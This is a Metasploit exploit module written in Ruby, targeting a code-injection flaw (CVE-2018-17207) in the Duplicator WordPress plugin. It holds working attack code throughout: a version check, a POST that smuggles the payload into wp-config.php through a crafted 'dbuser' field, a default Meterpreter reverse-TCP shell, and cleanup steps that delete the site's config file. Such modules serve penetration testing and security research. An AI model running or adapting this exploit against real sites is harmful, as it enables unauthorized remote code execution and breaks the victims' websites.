metasploit-gs/modules/exploits/multi/php/wp_duplicator_code_inject.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking # this module overwrites the configuration file, breaking the website

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Snap Creek Duplicator WordPress plugin code injection',
        'Description' => %q{
          When the WordPress plugin Snap Creek Duplicator restores a backup, it
          leaves dangerous files in the filesystem such as installer.php and
          installer-backup.php. These files allow anyone to call a function that
          overwrite the wp-config.php file AND this function does not sanitize
          POST parameters before inserting them inside the wp-config.php file,
          leading to arbitrary PHP code execution.
          WARNING: This exploit WILL break the wp-config.php file. If possible try
          to restore backups of the configuration after the exploit to make the
          WordPress site work again.
        },
        'Author' => [
          'Julien Legras <julien.legras@synacktiv.com>',
          'Thomas Chauchefoin <thomas.chauchefoin@synacktiv.com>'
        ],
        'References' => [
          ['URL', 'https://www.synacktiv.com/ressources/advisories/WordPress_Duplicator-1.2.40-RCE.pdf'],
          ['WPVDB', '9123'],
          ['CVE', '2018-17207']
        ],
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'DisclosureDate' => '2018-08-29',
        'DefaultOptions' => {
          'PAYLOAD' => 'php/meterpreter/reverse_tcp'
        },
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [['WordPress Duplicator <= 1.2.40', {}]],
        'DefaultTarget' => 0,
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_delete_file
            ]
          }
        },
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, "The TARGETURI where installer.php or installer-backup.php is located", "/installer.php"]),
      OptInt.new('TIMEOUT', [ true, 'Timeout for web requests', 40]),
    ])

    self.needs_cleanup = true
  end

  def check
    tpath = normalize_uri(datastore['TARGETURI'])

    vprint_status("Checking URI #{rhost + tpath}")
    response = send_request_cgi({ 'uri' => tpath }, timeout = datastore['TIMEOUT'])

    unless response
      vprint_error 'Connection failed'
      return CheckCode::Unknown('Connection failed')
    end

    unless response.code == 200
      vprint_error("Server responded with #{response.code}")
      return CheckCode::Safe("Server responded with #{response.code}")
    end

    # check_plugin_version_from_readme('duplicator', '1.2.42')
    matches = response.body.to_s.scan(/version: ([^<]*)</)
    if matches.empty?
      return CheckCode::Unknown('Could not determine Duplicator version')
    end

    version = matches.last.first
    if Rex::Version.new(version) <= Rex::Version.new("1.2.40")
      return CheckCode::Vulnerable("Duplicator version #{version} is vulnerable")
    else
      return CheckCode::Detected("Duplicator version #{version} detected")
    end
  end

  def create_wp_config_file
    # 1. GET the installer.php to retrieve the archive name.
    response = send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI']) }, timeout = datastore['TIMEOUT'])
    unless response && response.code == 200
      fail_with(Failure::NotFound, "Failed to retrieve the archive name, cannot create the wp-config.php file.")
    end
    archive_name = response.body.to_s.scan(/value="([^"]*.zip)"/).flatten.first
    if archive_name.blank?
      fail_with(Failure::NotFound, "Failed to retrieve the archive name, cannot create the wp-config.php file.")
    end

    print_status("Found archive name #{archive_name}")

    # 2. Perform the 1st step to actually create the wp-config.php file.
    response = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(datastore['TARGETURI']),
      'vars_post' => {
        'action_ajax' => "1",
        'action_step' => "1",
        'archive_name' => archive_name,
        'archive_engine' => "ziparchive",
        'exe_safe_mode' => "0",
        'archive_filetime' => "current",
        'logging' => "1"
      }
    }, timeout = datastore['TIMEOUT'])
    unless response && response.code == 200
      fail_with(Failure::Unknown, "The archive file #{archive_name} was probably deleted.")
    end

    print_status("Successfully created the wp-config.php file!")
  end

  def exploit
    print_status("Checking if the wp-config.php file already exists...")
    tpath_wp_config = normalize_uri(datastore['TARGETURI'] + '/../wp-config.php')
    response = send_request_cgi({ 'uri' => tpath_wp_config }, timeout = datastore['TIMEOUT'])

    if response && response.code == 404 # we have to perform action_step 1 to create the wp-config.php file.
      print_status("This WordPress was not restored. Creating the wp-config.php file...")
      create_wp_config_file
    end

    # 2. Exploit the code injection.
    print_status("All good! Injecting PHP code in the wp-config.php file...")
    response = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(datastore['TARGETURI']),
      'vars_post' => {
        'action_ajax' => "3",
        'action_step' => "3",
        'dbhost' => rand_text_alphanumeric(20),
        'dbname' => rand_text_alphanumeric(20),
        'dbpass' => rand_text_alphanumeric(20),
        'dbuser' => "');?>" + payload.encoded + "/*",
        'dbport' => rand_text_numeric(5)
      }
    }, timeout = datastore['TIMEOUT'])

    if response && response.code == 200
      print_status("Requesting wp-config.php to execute the payload...")
      send_request_cgi({ 'uri' => tpath_wp_config }, timeout = datastore['TIMEOUT'])
    else
      print_error("Failed to inject PHP code in wp-config.php...")
    end
  end

  def on_new_session(client)
    if client.type.eql?('meterpreter')
      client.core.use('stdapi') unless client.ext.aliases.include?('stdapi')
      client.fs.file.rm('wp-config.php')
    else
      client.shell_command_token('rm wp-config.php')
    end
    print_status("Attempting to recreate wp-config file...")
    create_wp_config_file
  end
end